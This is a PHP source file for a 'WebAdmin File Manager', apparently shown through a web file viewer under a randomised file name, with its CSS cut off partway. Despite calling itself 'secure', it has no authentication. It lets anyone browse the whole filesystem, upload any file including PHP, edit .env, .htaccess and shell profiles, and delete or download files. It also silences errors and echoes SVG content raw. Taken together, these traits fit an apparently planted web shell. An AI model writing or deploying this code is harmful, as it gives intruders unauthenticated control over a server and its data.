WebAdmin File Manager
Linux 5.15.0-164-generic · PHP 8.2.27

View: fm_561976076a548b87d2f40cbb88d0f3b8.php

Edit Download Back
<?php
/**
 * WebAdmin File Manager
 * Secure file management interface
 */

 $config = array(
    'app_name'         => 'WebAdmin FM',
    'session_duration' => 3600 * 24 * 7,
    'debug_mode'       => false,
    'start_dir'        => __DIR__,
    'allowed_extensions' => array(),
    'max_upload_size'  => 1024 * 1024 * 1024,
    'editable_extensions' => array(
        'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml',
        'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8',
        'html', 'htm', 'xhtml', 'css', 'scss', 'sass', 'less',
        'js', 'jsx', 'ts', 'tsx', 'vue', 'svelte', 'astro',
        'py', 'rb', 'pl', 'sh', 'bash', 'zsh',
        'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'swift',
        'sql', 'env', 'htaccess', 'conf', 'cfg', 'ini', 'properties',
        'gitignore', 'dockerfile', 'makefile', 'editorconfig',
        'tpl', 'smarty', 'twig', 'blade', 'latte'
    ),
    'image_extensions' => array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'tiff', 'tif')
);

@set_time_limit(0);
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
@ini_set('memory_limit', '512M');
define('DS', DIRECTORY_SEPARATOR);

if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params(array(
        'lifetime' => $config['session_duration'],
        'path'     => '/',
        'secure'   => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
        'httponly'  => true,
        'samesite'  => 'Lax'
    ));
    session_start();
}

if (empty($_SESSION['security_token'])) {
    $_SESSION['security_token'] = bin2hex(random_bytes(32));
}
 $security_token = $_SESSION['security_token'];
 $home_dir = realpath($config['start_dir']);

function clean_input($data) {
    if (is_array($data)) return array_map('clean_input', $data);
    $data = trim($data);
    if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
        $data = stripslashes($data);
    }
    return $data;
}

function sanitize_output($data) {
    return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}

 $_GET  = clean_input($_GET);
 $_POST = clean_input($_POST);

if ($config['debug_mode']) {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
}

function verify_token($token) {
    return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}

function format_size($bytes) {
    if ($bytes === false) return 'N/A';
    if ($bytes <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = log($bytes, 1024);
    return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}

function get_perms($file) {
    if (!file_exists($file)) return '---------';
    $perms = @fileperms($file);
    if ($perms === false) return '---------';
    $type = '-';
    if (($perms & 0xC000) == 0xC000) $type = 's';
    elseif (($perms & 0xA000) == 0xA000) $type = 'l';
    elseif (($perms & 0x6000) == 0x6000) $type = 'b';
    elseif (($perms & 0x4000) == 0x4000) $type = 'd';
    $info = $type;
    $info .= (($perms & 00400) ? 'r' : '-');
    $info .= (($perms & 00200) ? 'w' : '-');
    $info .= (($perms & 00100) ? 'x' : '-');
    $info .= (($perms & 00040) ? 'r' : '-');
    $info .= (($perms & 00020) ? 'w' : '-');
    $info .= (($perms & 00010) ? 'x' : '-');
    $info .= (($perms & 00004) ? 'r' : '-');
    $info .= (($perms & 00002) ? 'w' : '-');
    $info .= (($perms & 00001) ? 'x' : '-');
    return $info;
}

function get_owner_name($file) {
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $owner = @posix_getpwuid(@fileowner($file));
        $group = @posix_getgrgid(@filegroup($file));
        return trim(($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'), ':');
    }
    return 'N/A';
}

function get_file_extension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

function is_editable($filename) {
    global $config;
    $ext = get_file_extension($filename);
    $name_lower = strtolower(basename($filename));
    if (in_array($ext, $config['editable_extensions'])) return true;
    $special_files = array('.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile');
    if (in_array($name_lower, $special_files)) return true;
    return false;
}

function is_image_file($filename) {
    global $config;
    return in_array(get_file_extension($filename), $config['image_extensions']);
}

function get_mime_type($filepath) {
    if (function_exists('mime_content_type')) {
        $mime = @mime_content_type($filepath);
        if ($mime) return $mime;
    }
    if (function_exists('finfo_open')) {
        $finfo = @finfo_open(FILEINFO_MIME_TYPE);
        if ($finfo) {
            $mime = @finfo_file($finfo, $filepath);
            @finfo_close($finfo);
            if ($mime) return $mime;
        }
    }
    return 'application/octet-stream';
}

function is_binary_content($content) {
    if (empty($content)) return false;
    return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content) > 0;
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    $items = @scandir($dir);
    if ($items === false) return false;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . DS . $item;
        if (is_dir($path)) {
            if (!delete_directory($path)) return false;
        } else {
            if (!@unlink($path)) return false;
        }
    }
    return @rmdir($dir);
}

function safe_download_file($filepath, $filename) {
    if (!file_exists($filepath) || !is_readable($filepath)) return false;
    $mime = get_mime_type($filepath);
    $size = @filesize($filepath);
    while (ob_get_level()) ob_end_clean();
    header('Content-Type: ' . $mime);
    header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"');
    header('Content-Transfer-Encoding: binary');
    header('Content-Length: ' . $size);
    header('Cache-Control: no-cache, must-revalidate');
    header('Pragma: no-cache');
    header('Expires: 0');
    $handle = @fopen($filepath, 'rb');
    if ($handle === false) return false;
    while (!feof($handle)) {
        echo fread($handle, 8192);
        flush();
    }
    @fclose($handle);
    return true;
}

 $self = basename($_SERVER['PHP_SELF']);
 $message = '';
 $message_type = 'info';
 $view_content = '';
 $edit_content = '';
 $edit_filename = '';

 $current_dir = realpath($config['start_dir']);
if ($current_dir === false) {
    $current_dir = realpath(dirname(__FILE__));
}
if ($current_dir === false) {
    $current_dir = DS;
}

if (isset($_GET['cd']) && !empty($_GET['cd'])) {
    $real_req = @realpath($_GET['cd']);
    if ($real_req !== false && is_dir($real_req)) {
        $current_dir = $real_req;
    }
} elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
    $current_dir = realpath($_SESSION['current_dir']);
    if ($current_dir === false) $current_dir = DS;
}

 $_SESSION['current_dir'] = $current_dir;
 $parent_dir = dirname($current_dir);
 $has_parent = ($parent_dir !== $current_dir && $parent_dir !== false);
 $is_home = ($current_dir === $home_dir);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token_valid = isset($_POST['security_token']) && verify_token($_POST['security_token']);
    if (!$token_valid) {
        $message = "Invalid security token. Please refresh the page.";
        $message_type = 'error';
    } else {
        if (isset($_FILES['upload_file']) && !empty($_FILES['upload_file']['name'])) {
            $upload_error = $_FILES['upload_file']['error'];
            $original_name = basename($_FILES['upload_file']['name']);
            $file_info = pathinfo($original_name);
            $ext = strtolower($file_info['extension'] ?? '');
            $dest = $current_dir . DS . $original_name;
            if ($upload_error !== UPLOAD_ERR_OK) {
                $err_msgs = array(
                    UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize.',
                    UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE.',
                    UPLOAD_ERR_PARTIAL => 'File was only partially uploaded.',
                    UPLOAD_ERR_NO_FILE => 'No file was uploaded.',
                    UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder.',
                    UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk.',
                    UPLOAD_ERR_EXTENSION => 'Upload stopped by extension.'
                );
                $message = $err_msgs[$upload_error] ?? 'Unknown upload error.';
                $message_type = 'error';
            } else {
                $allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']);
                if (!$allowed) {
                    $message = "Extension '$ext' is not allowed.";
                    $message_type = 'error';
                } elseif ($_FILES['upload_file']['size'] > $config['max_upload_size']) {
                    $message = "File too large (max " . format_size($config['max_upload_size']) . ").";
                    $message_type = 'error';
                } else {
                    $tmp_name = $_FILES['upload_file']['tmp_name'];
                    $upload_ok = false;
                    $err_detail = '';
                    if (@move_uploaded_file($tmp_name, $dest)) {
                        $upload_ok = true;
                    } else {
                        $err_detail = error_get_last()['message'] ?? '';
                        if (@copy($tmp_name, $dest)) {
                            @unlink($tmp_name);
                            $upload_ok = true;
                        } else {
                            $err_detail = error_get_last()['message'] ?? $err_detail;
                            if (is_uploaded_file($tmp_name)) {
                                $src = @fopen($tmp_name, 'rb');
                                $dst = @fopen($dest, 'wb');
                                if ($src && $dst) {
                                    while (!feof($src)) {
                                        $buf = fread($src, 8192);
                                        if ($buf === false) break;
                                        fwrite($dst, $buf);
                                    }
                                    fclose($src);
                                    fclose($dst);
                                    @unlink($tmp_name);
                                    $upload_ok = true;
                                } else {
                                    if ($src) fclose($src);
                                    if ($dst) fclose($dst);
                                }
                            }
                        }
                    }
                    if ($upload_ok) {
                        @chmod($dest, 0644);
                        $message = "File '$original_name' uploaded successfully.";
                        $message_type = 'success';
                    } else {
                        $message = "Upload failed: " . $err_detail;
                        $message_type = 'error';
                    }
                }
            }
        }
        if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
            $dir_name = basename(trim($_POST['mkdir']));
            if (empty($dir_name)) {
                $message = "Folder name cannot be empty.";
                $message_type = 'error';
            } else {
                $new_path = $current_dir . DS . $dir_name;
                if (file_exists($new_path)) {
                    $message = "Folder '$dir_name' already exists.";
                    $message_type = 'error';
                } elseif (@mkdir($new_path, 0755, true)) {
                    @chmod($new_path, 0755);
                    $message = "Folder '$dir_name' created.";
                    $message_type = 'success';
                } else {
                    $err = error_get_last();
                    $message = "Failed to create folder: " . ($err['message'] ?? 'Permission denied.');
                    $message_type = 'error';
                }
            }
        }
        if (isset($_POST['create_file']) && !empty($_POST['create_file'])) {
            $file_name = basename(trim($_POST['create_file']));
            if (empty($file_name)) {
                $message = "File name cannot be empty.";
                $message_type = 'error';
            } else {
                $new_path = $current_dir . DS . $file_name;
                if (file_exists($new_path)) {
                    $message = "File '$file_name' already exists.";
                    $message_type = 'error';
                } else {
                    $h = @fopen($new_path, 'w');
                    if ($h) {
                        fclose($h);
                        @chmod($new_path, 0644);
                        $message = "File '$file_name' created.";
                        $message_type = 'success';
                    } else {
                        $err = error_get_last();
                        $message = "Failed to create file: " . ($err['message'] ?? 'Permission denied.');
                        $message_type = 'error';
                    }
                }
            }
        }
        if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
            $old_name = basename(trim($_POST['rename_from']));
            $new_name = basename(trim($_POST['rename_to']));
            if (empty($old_name) || empty($new_name)) {
                $message = "Names cannot be empty.";
                $message_type = 'error';
            } else {
                $old_path = $current_dir . DS . $old_name;
                $new_path = $current_dir . DS . $new_name;
                if (!file_exists($old_path)) {
                    $message = "Source '$old_name' not found.";
                    $message_type = 'error';
                } elseif ($old_path === $new_path) {
                    $message = "Source and destination are the same.";
                    $message_type = 'error';
                } elseif (file_exists($new_path)) {
                    $message = "Target '$new_name' already exists.";
                    $message_type = 'error';
                } elseif (@rename($old_path, $new_path)) {
                    $message = "Renamed '$old_name' to '$new_name'.";
                    $message_type = 'success';
                } else {
                    $err = error_get_last();
                    $message = "Rename failed: " . ($err['message'] ?? 'Permission denied.');
                    $message_type = 'error';
                }
            }
        }
        if (isset($_POST['save_edit']) && isset($_POST['edit_content']) && isset($_POST['edit_filename'])) {
            $filename = basename(trim($_POST['edit_filename']));
            $content = $_POST['edit_content'];
            $filepath = $current_dir . DS . $filename;
            if (!file_exists($filepath)) {
                $message = "File '$filename' not found.";
                $message_type = 'error';
            } else {
                $content = html_entity_decode($content, ENT_QUOTES, 'UTF-8');
                $result = @file_put_contents($filepath, $content);
                if ($result !== false) {
                    $message = "File '$filename' saved.";
                    $message_type = 'success';
                } else {
                    $err = error_get_last();
                    $message = "Save failed: " . ($err['message'] ?? 'Permission denied.');
                    $message_type = 'error';
                }
            }
        }
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    if (isset($_GET['delete']) && isset($_GET['token'])) {
        if (verify_token($_GET['token'])) {
            $target_name = basename($_GET['delete']);
            $target_path = $current_dir . DS . $target_name;
            if (!file_exists($target_path)) {
                $message = "Item '$target_name' not found.";
                $message_type = 'error';
            } elseif (is_dir($target_path)) {
                if (delete_directory($target_path)) {
                    $message = "Directory '$target_name' deleted.";
                    $message_type = 'success';
                } else {
                    $message = "Failed to delete directory.";
                    $message_type = 'error';
                }
            } elseif (@unlink($target_path)) {
                $message = "File '$target_name' deleted.";
                $message_type = 'success';
            } else {
                $message = "Failed to delete file.";
                $message_type = 'error';
            }
        } else {
            $message = "Invalid security token.";
            $message_type = 'error';
        }
    }
    if (isset($_GET['download']) && isset($_GET['token'])) {
        if (verify_token($_GET['token'])) {
            $filename = basename($_GET['download']);
            $filepath = $current_dir . DS . $filename;
            if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) {
                safe_download_file($filepath, $filename);
                exit;
            } else {
                $message = "File '$filename' not found or not readable.";
                $message_type = 'error';
            }
        } else {
            $message = "Invalid security token.";
            $message_type = 'error';
        }
    }
    if (isset($_GET['view'])) {
        $filename = basename($_GET['view']);
        $filepath = $current_dir . DS . $filename;
        if (!file_exists($filepath)) {
            $view_content = "<div class='msg me'>File not found.</div>";
        } elseif (!is_readable($filepath)) {
            $view_content = "<div class='msg me'>Cannot read file (permission denied).</div>";
        } else {
            $mime = get_mime_type($filepath);
            $ext = get_file_extension($filename);
            if (is_image_file($filename)) {
                if ($ext === 'svg') {
                    $svg_data = @file_get_contents($filepath);
                    $view_content = "<div style='text-align:center;padding:16px'>" . $svg_data . "</div>";
                } else {
                    $b64 = base64_encode(@file_get_contents($filepath));
                    $view_content = "<div style='text-align:center;padding:16px'><img src='data:" . $mime . ";base64," . $b64 . "' style='max-width:100%;max-height:70vh;border-radius:10px;border:1px solid rgba(255,255,255,.1)' alt='" . sanitize_output($filename) . "'></div>";
                }
            } elseif ($mime === 'application/pdf') {
                $b64 = base64_encode(@file_get_contents($filepath));
                $dl_link = '?download=' . urlencode($filename) . '&token=' . $security_token;
                $view_content = "<div style='padding:16px'><embed src='data:application/pdf;base64," . $b64 . "' type='application/pdf' style='width:100%;height:65vh;border-radius:10px'><p style='margin-top:12px;text-align:center'><a href='" . $dl_link . "' class='btn bh'>Download PDF</a></p></div>";
            } elseif (strpos($mime, 'video/') === 0) {
                $b64 = base64_encode(@file_get_contents($filepath));
                $view_content = "<div style='text-align:center;padding:16px'><video controls style='max-width:100%;border-radius:10px'><source src='data:" . $mime . ";base64," . $b64 . "' type='" . $mime . "'></video></div>";
            } elseif (strpos($mime, 'audio/') === 0) {
                $b64 = base64_encode(@file_get_contents($filepath));
                $view_content = "<div style='text-align:center;padding:16px'><audio controls style='width:100%'><source src='data:" . $mime . ";base64," . $b64 . "' type='" . $mime . "'></audio></div>";
            } else {
                $content = @file_get_contents($filepath);
                if ($content === false) {
                    $view_content = "<div class='msg me'>Cannot read file content.</div>";
                } elseif (is_binary_content($content)) {
                    $dl_link = '?download=' . urlencode($filename) . '&token=' . $security_token;
                    $view_content = "<div class='msg me'>Binary file - cannot display as text.<br><a href='" . $dl_link . "' class='btn bh' style='margin-top:10px'>Download File</a></div>";
                } else {
                    $code_exts = array('php','html','htm','css','js','json','xml','sql','py','rb','sh','bash','yaml','yml','md','c','cpp','java','go','rs','ts','vue','jsx','tsx');
                    if (in_array($ext, $code_exts)) {
                        $view_content = "<pre class='cv'><code>" . sanitize_output($content) . "</code></pre>";
                    } else {
                        $view_content = "<pre class='tv'>" . sanitize_output($content) . "</pre>";
                    }
                    $fsize = @filesize($filepath);
                    $lines = substr_count($content, "\n");
                    $view_content .= "<div class='fib'><span>Size: " . format_size($fsize) . "</span><span>MIME: " . sanitize_output($mime) . "</span><span>Lines: " . $lines . "</span></div>";
                }
            }
        }
    }
    if (isset($_GET['edit'])) {
        $filename = basename($_GET['edit']);
        $filepath = $current_dir . DS . $filename;
        if (!file_exists($filepath)) {
            $message = "File '$filename' not found.";
            $message_type = 'error';
        } elseif (!is_readable($filepath)) {
            $message = "Cannot read '$filename' (permission denied).";
            $message_type = 'error';
        } elseif (!is_writable($filepath)) {
            $message = "File '$filename' is not writable.";
            $message_type = 'error';
        } else {
            $content = @file_get_contents($filepath);
            if ($content === false) {
                $message = "Cannot read file content.";
                $message_type = 'error';
            } elseif (is_binary_content($content)) {
                $message = "Binary files cannot be edited as text.";
                $message_type = 'error';
            } else {
                $edit_content = $content;
                $edit_filename = $filename;
            }
        }
    }
}

function create_breadcrumbs($path) {
    global $security_token;
    $parts = explode(DS, $path);
    $build = '';
    $html = '<nav class="bc">';
    $html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $security_token . '" class="bl">/</a>';
    if (!empty($parts[0])) {
        $build = $parts[0];
        $html .= '<span class="bs">/</span><a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="bl">' . sanitize_output($parts[0]) . '</a>';
        array_shift($parts);
    } else {
        array_shift($parts);
    }
    foreach ($parts as $i => $part) {
        if (empty($part)) continue;
        $build .= DS . $part;
        $html .= '<span class="bs">/</span>';
        if ($i === count($parts) - 1) {
            $html .= '<span class="bc-active">' . sanitize_output($part) . '</span>';
        } else {
            $html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="bl">' . sanitize_output($part) . '</a>';
        }
    }
    $html .= '</nav>';
    return $html;
}

function get_file_icon_class($filename) {
    $ext = get_file_extension($filename);
    $map = array(
        'php'=>'ip','phtml'=>'ip',
        'html'=>'ih','htm'=>'ih','xhtml'=>'ih',
        'css'=>'ic','scss'=>'ic','sass'=>'ic','less'=>'ic',
        'js'=>'ij','jsx'=>'ij','ts'=>'it','tsx'=>'it',
        'json'=>'id','xml'=>'id','yaml'=>'id','yml'=>'id',
        'py'=>'iw','rb'=>'iw','java'=>'iw','go'=>'iw',
        'rs'=>'iw','c'=>'iw','cpp'=>'iw','h'=>'iw',
        'sql'=>'ix','db'=>'ix','sqlite'=>'ix',
        'md'=>'il','txt'=>'il','log'=>'il',
        'jpg'=>'ii','jpeg'=>'ii','png'=>'ii','gif'=>'ii',
        'webp'=>'ii','svg'=>'ii','bmp'=>'ii','ico'=>'ii',
        'mp4'=>'iv','avi'=>'iv','mkv'=>'iv','mov'=>'iv','webm'=>'iv',
        'mp3'=>'ia','wav'=>'ia','ogg'=>'ia','flac'=>'ia',
        'pdf'=>'iz',
        'doc'=>'io','docx'=>'io','xls'=>'io','xlsx'=>'io',
        'ppt'=>'io','pptx'=>'io','csv'=>'io',
        'zip'=>'ib','rar'=>'ib','tar'=>'ib','gz'=>'ib','7z'=>'ib',
        'env'=>'ig','htaccess'=>'ig','conf'=>'ig','ini'=>'ig','cfg'=>'ig',
        'sh'=>'ik','bash'=>'ik','zsh'=>'ik',
    );
    return $map[$ext] ?? 'if';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=5">
<title><?php echo sanitize_output($config['app_name']); ?></title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
:root{
--a:#6366f1;--ah:#4f46e5;--al:#eef2ff;
--bg:#0f1117;--bg2:#161822;--bg3:#1c1f2e;--bg4:#252838;
--tx:#e4e7f1;--tx2:#9499b3;--tx3:#5d6280;
--bd:rgba(255,255,255,.06);--bd2:rgba(255,255,255,.1);
--gn:#34d399;--gh:#10b981;
--rd:#f87171;--rh:#ef4444;
--yl:#fbbf24;
--r:12px;--rs:8px;
}
html{-webkit-text-size-adjust:100%}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:var(--bg);color:var(--tx);line-height:1.55;min-height:100vh;overflow-x:hidden}
.app{max-width:1080px;margin:0 auto;padding:12px}

/* Header */
.hdr{background:linear-gradient(135deg,var(--bg3) 0%,var(--bg4) 100%);border:1px solid var(--bd);border-radius:var(--r);padding:16px 20px;margin-bottom:10px;display:flex;justify-content:space-between;align-items:center;gap:12px;position:relative;overflow:hidden}
.hdr::before{content:'';position:absolute;top:-30px;right:-30px;width:120px;height:120px;background:radial-gradient(circle,rgba(99,102,241,.15),transparent 70%);pointer-events:none}
.hdr-l{display:flex;align-items:center;gap:10px;min-width:0}
.hdr-logo{width:34px;height:34px;border-radius:8px;background:linear-gradient(135deg,var(--a),#818cf8);display:flex;align-items:center;justify-content:center;flex-shrink:0;font-size:.7rem;font-weight:800;color:#fff;letter-spacing:-.03em}
.hdr-t{font-size:.95rem;font-weight:700;letter-spacing:-.02em;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.hdr-m{font-size:.7rem;color:var(--tx3);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;text-align:right;flex-shrink:0}

/* Toolbar */
.tbar{background:var(--bg2);border:1px solid var(--bd);border-radius:var(--r);padding:10px 14px;margin-bottom:10px;display:flex;flex-direction:column;gap:8px}
.bc{font-size:.78rem;color:var(--tx2);overflow-x:auto;white-space:nowrap;scrollbar-width:none;-webkit-overflow-scrolling:touch}
.bc::-webkit-scrollbar{display:none}
.bl{color:var(--a);text-decoration:none;font-weight:600;transition:color .15s}
.bl:hover{color:#a5b4fc}
.bc-active{color:var(--tx);font-weight:700}
.bs{margin:0 3px;color:var(--tx3)}
.ta{display:flex;gap:5px;flex-wrap:wrap}

/* Buttons */
.btn{padding:5px 12px;border-radius:var(--rs);border:1px solid var(--bd2);font-size:.76rem;cursor:pointer;text-decoration:none;display:inline-flex;align-items:center;gap:5px;transition:all .15s;white-space:nowrap;font-weight:600;font-family:inherit;line-height:1.45;background:var(--bg3);color:var(--tx2)}
.btn:hover{background:var(--bg4);color:var(--tx);border-color:rgba(255,255,255,.15)}
.bh{background:var(--a);color:#fff;border-color:var(--a)}
.bh:hover{background:var(--ah);border-color:var(--ah)}
.bg{background:rgba(52,211,153,.12);color:var(--gn);border-color:rgba(52,211,153,.2)}
.bg:hover{background:rgba(52,211,153,.2);border-color:rgba(52,211,153,.3)}
.br{background:rgba(248,113,113,.1);color:var(--rd);border-color:rgba(248,113,113,.15)}
.br:hover{background:rgba(248,113,113,.18);border-color:rgba(248,113,113,.25)}
.bhome{background:linear-gradient(135deg,var(--a),#818cf8);color:#fff;border:none;padding:5px 13px}
.bhome:hover{opacity:.88;background:linear-gradient(135deg,var(--a),#818cf8)}
.bsm{padding:3px 8px;font-size:.7rem}

/* Content */
.ct{background:var(--bg2);border:1px solid var(--bd);border-radius:var(--r);padding:16px}

/* Panel */
.pnl{background:var(--bg3);border:1px solid var(--bd);padding:18px;border-radius:var(--rs);margin-bottom:16px}
.pnl h3{margin:0 0 12px;font-size:.92rem;font-weight:700;display:flex;align-items:center;gap:8px}
.pnl h3::before{content:'';width:3px;height:16px;background:var(--a);border-radius:2px;flex-shrink:0}

/* Forms */
.fr{display:flex;gap:8px;align-items:center}
.fr.stk{flex-direction:column;align-items:stretch}
.inp{padding:8px 12px;border:1px solid var(--bd2);border-radius:var(--rs);font-size:.84rem;flex:1;transition:all .15s;font-family:inherit;background:var(--bg2);color:var(--tx);min-width:0}
.inp:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)}
.inp::placeholder{color:var(--tx3)}

/* File Table */
.ft{width:100%;border-collapse:collapse;font-size:.79rem}
.ft th{text-align:left;padding:8px 10px;border-bottom:1px solid var(--bd2);color:var(--tx3);font-weight:700;background:var(--bg3);font-size:.68rem;text-transform:uppercase;letter-spacing:.5px;white-space:nowrap}
.ft td{padding:7px 10px;border-bottom:1px solid var(--bd);vertical-align:middle}
.ft tbody tr{transition:background .1s}
.ft tbody tr:hover{background:rgba(99,102,241,.04)}
.fn-wrap{display:flex;align-items:center;gap:9px;min-width:0}
.fn{font-weight:500;color:var(--tx);text-decoration:none;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;min-width:0;transition:color .12s}
.fn:hover{color:var(--a)}
.fnd{color:#a5b4fc;font-weight:700}
.fi{width:30px;height:30px;border-radius:7px;flex-shrink:0;display:flex;align-items:center;justify-content:center;font-size:.58rem;font-weight:800;color:rgba(255,255,255,.95);letter-spacing:-.03em;text-shadow:0 1px 2px rgba(0,0,0,.3)}
.ip .fi{background:linear-gradient(135deg,#8b5cf6,#7c3aed)}
.ih .fi{background:linear-gradient(135deg,#fb923c,#ea580c)}
.ic .fi{background:linear-gradient(135deg,#22d3ee,#0891b2)}
.ij .fi{background:linear-gradient(135deg,#facc15,#eab308);color:#422006}
.it .fi{background:linear-gradient(135deg,#60a5fa,#2563eb)}
.ii .fi{background:linear-gradient(135deg,#f472b6,#ec4899)}
.iv .fi{background:linear-gradient(135deg,#a78bfa,#7c3aed)}
.ia .fi{background:linear-gradient(135deg,#2dd4bf,#14b8a6)}
.iz .fi{background:linear-gradient(135deg,#f87171,#ef4444)}
.ib .fi{background:linear-gradient(135deg,#a8a29e,#78716c)}
.id .fi{background:linear-gradient(135deg,#94a3b8,#64748b)}
.iw .fi{background:linear-gradient(135deg,#4ade80,#22c55e)}
.ix .fi{background:linear-gradient(135deg,#38bdf8,#0ea5e9)}
.il .fi{background:linear-gradient(135deg,#cbd5e1,#94a3b8);color:#475569}
.io .fi{background:linear-gradient(135deg,#60a5fa,#3b82f6)}
.ig .fi{background:linear-gradient(135deg,#c084fc,#a855f7)}
.ik .fi{background:linear-gradient(135deg,#64748b,#475569)}
.i0 .fi{background:linear-gradient(135deg,var(--a),#818cf8)}
.if .fi{background:linear-gradient(135deg,#475569,#334155)}
.als{display:flex;gap:3px;flex-shrink:0}
.al{color:var(--tx3);font-size:.7rem;text-decoration:none;cursor:pointer;padding:3px 7px;border-radius:5px;transition:all .12s;border:1px solid transparent;white-space:nowrap}
.al:hover{background:var(--al);color:var(--a);border-color:rgba(99,102,241,.15)}
.ad{color:var(--rd)}
.ad:hover{background:rgba(248,113,113,.1);color:var(--rh);border-color:rgba(248,113,113,.15)}
.pc{font-family:'SF Mono',Consolas,monospace;font-size:.7rem;color:var(--tx3);white-space:nowrap}
.oc{font-size:.7rem;color:var(--tx3);white-space:nowrap}
.sc{font-family:'SF Mono',Consolas,monospace;font-size:.76rem;text-align:right;white-space:nowrap;color:var(--tx2)}
.dc{font-size:.74rem;color:var(--tx3);white-space:nowrap}

/* Summary */
.sm{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;font-size:.76rem;color:var(--tx3);flex-wrap:wrap;gap:6px}

/* Messages */
.msg{padding:12px 14px;border-radius:var(--rs);font-size:.84rem;border-left:3px solid}
.me{background:rgba(248,113,113,.08);border-color:var(--rd);color:#fca5a5}
.ms{background:rgba(52,211,153,.08);border-color:var(--gn);color:#6ee7b7}
.mi{background:rgba(99,102,241,.08);border-color:var(--a);color:#a5b4fc}

/* Toast */
.tw{position:fixed;top:12px;right:12px;left:12px;z-index:9999;pointer-events:none}
.toast{background:var(--bg3);border:1px solid var(--bd2);padding:11px 14px;border-radius:var(--rs);margin-bottom:6px;border-left:3px solid var(--a);font-size:.82rem;animation:tin .2s ease;pointer-events:auto;max-width:360px;margin-left:auto;color:var(--tx);backdrop-filter:blur(12px)}
.toast.ts{border-left-color:var(--gn)}
.toast.te{border-left-color:var(--rd)}

/* Code views */
.cv{background:var(--bg);color:#c9d1d9;padding:16px;border-radius:var(--rs);border:1px solid var(--bd);overflow:auto;font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:.78rem;line-height:1.65;max-height:65vh;white-space:pre-wrap;word-wrap:break-word;-webkit-overflow-scrolling:touch}
.tv{background:var(--bg3);color:var(--tx);padding:16px;border-radius:var(--rs);border:1px solid var(--bd);overflow:auto;font-family:'SF Mono',Consolas,monospace;font-size:.78rem;line-height:1.65;max-height:65vh;white-space:pre-wrap;word-wrap:break-word;-webkit-overflow-scrolling:touch}
.fib{display:flex;flex-wrap:wrap;gap:14px;padding:9px 12px;background:var(--bg);border:1px solid var(--bd);border-radius:6px;margin-top:8px;font-size:.73rem;color:var(--tx3)}

/* Editor */
.eta{width:100%;min-height:420px;padding:14px;border:1px solid var(--bd2);border-radius:var(--rs);font-family:'SF Mono','Fira Code',Consolas,monospace;font-size:.82rem;line-height:1.55;resize:vertical;tab-size:4;background:var(--bg);color:#c9d1d9;-webkit-overflow-scrolling:touch}
.eta:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)}
.ebar{display:flex;gap:8px;margin-top:12px;padding-top:12px;border-top:1px solid var(--bd);flex-wrap:wrap}

/* Modal */
.mbg{position:fixed;inset:0;background:rgba(0,0,0,.6);backdrop-filter:blur(4px);z-index:1000;display:none;align-items:center;justify-content:center;padding:16px}
.mbg.on{display:flex}
.mbox{background:var(--bg3);border:1px solid var(--bd2);padding:22px;border-radius:var(--r);width:100%;max-width:380px;box-shadow:0 24px 48px rgba(0,0,0,.4)}
.mbox h3{margin:0 0 12px;font-size:.95rem;font-weight:700}
.minput{width:100%;padding:9px 12px;border:1px solid var(--bd2);border-radius:var(--rs);font-size:.88rem;margin:8px 0;font-family:inherit;background:var(--bg2);color:var(--tx)}
.minput:focus{outline:none;border-color:var(--a);box-shadow:0 0 0 3px rgba(99,102,241,.15)}
.mbtns{display:flex;justify-content:flex-end;gap:8px;margin-top:16px}

/* Info table */
.itbl{width:100%;border-collapse:collapse;font-size:.82rem}
